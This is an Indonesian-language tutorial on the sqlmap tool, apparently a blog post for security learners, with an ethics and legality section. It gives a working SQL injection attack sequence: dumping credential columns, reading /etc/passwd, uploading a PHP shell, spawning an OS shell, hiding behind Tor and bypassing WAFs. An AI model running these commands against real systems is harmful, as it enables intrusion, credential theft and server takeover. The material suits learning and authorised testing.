
sqlmap adalah alat open-source otomatis yang dirancang untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection (SQLi) di aplikasi web. Alat ini sangat populer dan digunakan luas oleh penetration tester, bug bounty hunter, red teamer, hingga pelajar di bidang keamanan siber karena kemampuannya yang canggih, fleksibel, dan mudah digunakan.
Dengan sqlmap, kamu bisa:
– Menemukan kerentanan SQLi
– Mengambil data dari database
– Menjalankan perintah sistem jika database mengizinkan (command execution)
– Upload/download file dari server target
– Dan masih banyak lagi
๐ Apa itu SQL Injection?
SQL Injection (SQLi) adalah salah satu jenis serangan injeksi paling berbahaya dan umum dalam keamanan aplikasi web. Serangan ini terjadi saat input pengguna yang tidak difilter dengan benar dimasukkan langsung ke dalam kueri SQL. Jika input tersebut dimanipulasi dengan perintah SQL jahat, penyerang dapat mengubah perilaku kueri dan mendapatkan akses tidak sah ke data.
Contoh input berbahaya:
‘ OR 1=1 —
Jika input ini dimasukkan ke dalam form login atau URL, maka query akan selalu bernilai true, yang berarti penyerang bisa login tanpa mengetahui kredensial yang sah.
Contoh query setelah dimodifikasi:
SELECT * FROM users WHERE username = ” OR 1=1 –‘ AND password = ”
Hasilnya? Semua baris dari tabel `users` akan dikembalikan. Jika aplikasi tidak mengantisipasi ini, penyerang bisa login sebagai user pertama atau bahkan admin.
โ๏ธ Fitur dan Fungsi sqlmap
Berikut fitur utama dari sqlmap:
โ Deteksi berbagai jenis SQL Injection:
– Boolean-based
– Error-based
– Time-based
– UNION query
– Out-of-band (OOB)
โ Mengenali jenis database:
– MySQL
– MSSQL
– PostgreSQL
– Oracle
– SQLite
– Firebird
– Sybase, dll
โ Dump dan eksplorasi data:
– Menampilkan daftar database
– Melihat tabel dalam database
– Melihat kolom dalam tabel
– Dump isi data dalam kolom
โ Eksekusi perintah OS (jika memungkinkan):
– Menjalankan command di shell target
– Upload/download file
– Membuka backdoor
โ Opsi lanjutan:
– Gunakan cookies/session
– Custom headers, body POST/PUT
– Proxy/Tor support
– Multi-threading
– Random User-Agent
– Crawling halaman target otomatis
๐ Cara Menggunakan sqlmap
๐ง 1. Persiapan
Di Kali Linux, sqlmap biasanya sudah terinstal. Cek dengan:
sqlmap -h
Jika belum terinstal, bisa download di [https://sqlmap.org](https://sqlmap.org), atau clone via Git:
git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py -h
๐ 2. Tes URL Target
Misalnya kamu ingin menguji:
http://target.com/page.php?id=1
Coba perintah dasar:
sqlmap -u “http://target.com/page.php?id=1” –batch
Keterangan:
– -u โ URL target
– –batch โ Menjawab semua prompt otomatis
๐ 3. Melihat Database
Jika target rentan:
sqlmap -u “http://target.com/page.php?id=1” –dbs
Output:
– Daftar nama database yang digunakan
๐ 4. Melihat Tabel
Misal kamu tahu nama databasenya `db_users`, cek tabelnya:
sqlmap -u “http://target.com/page.php?id=1” -D db_users –tables
– -D โ Menentukan database
๐ 5. Melihat Kolom
Misal nama tabelnya `accounts`, cek kolom:
sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts –columns
– -T โ Menentukan tabel
๐ฅ 6. Dump Data
Misal kamu ingin melihat `username` dan `password`:
sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts -C username,password –dump
– -C โ Menentukan kolom
– –dump โ Mengambil datanya
๐ง 7. Teknik Tambahan dan Profesional
๐ Menggunakan Cookie (Session)
Jika target butuh login session:
sqlmap -u “http://target.com/page.php?id=1″ –cookie=”PHPSESSID=abcd1234” –batch
Gunakan tools seperti **Burp Suite** untuk mendapatkan cookie dari request login.
๐งช Testing POST Request
Jika parameter SQL berada di `POST` body:
sqlmap -u “http://target.com/login.php” –data=”username=admin&password=123″ –batch
๐ Menyembunyikan IP (Proxy)
Jalankan sqlmap via proxy seperti Burp:
sqlmap -u “http://target.com/page.php?id=1″ –proxy=”http://127.0.0.1:8080”
๐ง Menyambung lewat TOR
Jika kamu install TOR, bisa lewat port 9050:
sqlmap -u “http://target.com/page.php?id=1” –tor –tor-type=SOCKS5 –check-tor
โก Optimalisasi dan Tips Lanjutan
– –level=5 –risk=3 โ Scan intensif (lebih banyak parameter & payload)
– –threads=5 โ Jalankan beberapa thread paralel (lebih cepat)
– –random-agent โ Gunakan User-Agent acak dari daftar sqlmap
– –crawl=1 โ Otomatis cari dan eksplorasi link dari halaman awal
– –os-shell โ Jika injection bisa jadi RCE, spawn shell interaktif
– –file-read=/etc/passwd โ Baca file dari server (jika diizinkan)
– –file-write=./shell.php –file-dest=/var/www/html/shell.php โ Upload file ke target
๐ Bypass WAF (Web Application Firewall)
Beberapa target menggunakan WAF untuk memblokir serangan SQL Injection. Sqlmap menyediakan opsi untuk membantu melewati perlindungan ini, seperti –tamper. Tamper script digunakan untuk memodifikasi payload agar terlihat berbeda di mata WAF namun tetap valid secara SQL. Contoh penggunaannya:
sqlmap -u “http://target.com/page.php?id=1” –tamper=space2comment –batch
Tamper script seperti space2comment, between, charunicodeencode, dan lainnya bisa kamu kombinasikan. Untuk mengetahui daftar lengkap, gunakan:
sqlmap –tamper
Namun, perlu dicatat bahwa bypassing WAF tidak selalu berhasil dan memerlukan eksperimen serta pemahaman tentang bagaimana WAF bekerja.
๐งช 8. Contoh Skenario Praktis
Kamu mendapat target:
http://vulnerable.site/profile.php?id=5
Langkah uji coba:
1. Cek apakah vulnerable:
sqlmap -u “http://vulnerable.site/profile.php?id=5” –batch
2. Dump database:
sqlmap -u “http://vulnerable.site/profile.php?id=5” –dbs
3. Lihat tabel di database `app_db`:
sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db –tables
4. Lihat kolom tabel `users`:
sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users –columns
5. Dump `email` dan `password`:
sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users -C email,password –dump
โ ๏ธ 9. Etika & Legalitas
PENTING BANGET:
Jangan pernah menggunakan sqlmap terhadap:
– Website publik yang bukan milikmu
– Sistem tanpa izin tertulis
– Layanan komersial yang tidak menyediakan bug bounty
Legalitas:
Melanggar bisa menyebabkan:
– Pemblokiran akun ISP
– Pelaporan ke polisi (UU ITE di Indonesia)
– Blacklist di komunitas keamanan siber
Gunakan hanya untuk:
– Lab pribadi (DVWA, BWAPP, WebGoat)
– Platform pelatihan legal (TryHackMe, Hack The Box)
– Program bug bounty resmi (HackerOne, Bugcrowd, dsb)
๐งฐ 10. Integrasi sqlmap dengan Tools Lain
Sqlmap bisa digunakan berdampingan dengan berbagai tools lain dalam workflow penetration testing. Misalnya, kamu bisa menggunakan Nmap untuk memetakan port dan layanan terlebih dahulu, kemudian mengidentifikasi aplikasi web yang berjalan di atasnya. Setelah itu, gunakan Burp Suite untuk memeriksa dan memanipulasi HTTP request, lalu ekspor request tersebut ke file dan menjalankannya dengan sqlmap menggunakan opsi -r. Ini memungkinkan kamu untuk menguji endpoint dengan payload SQLi secara presisi, termasuk parameter tersembunyi dalam body POST, header, atau bahkan JSON.
๐ง 11. Belajar Lebih Lanjut
Sqlmap punya dokumentasi lengkap dan aktif di komunitas GitHub-nya. Jika kamu serius, luangkan waktu membaca dokumentasi dan mencoba semua opsi yang ada.
๐ Kesimpulan
sqlmap adalah tools yang sangat powerful untuk belajar, latihan, dan melakukan pengujian keamanan terhadap aplikasi web. Namun, kekuatan ini harus dibarengi dengan **etika dan legalitas**. Gunakan secara bertanggung jawab.
Cocok untuk:
– Pelajar Red Team
– Penetration Tester
– Bug Hunter
– Mahasiswa keamanan siber
Jika kamu serius ingin menjadi offensive security professional, kuasai dasar-dasar SQL dan pahami bagaimana aplikasi web berinteraksi dengan database. Selamat bereksperimen (di tempat yang legal)!
Penulis : rafly permana saputra ramadhan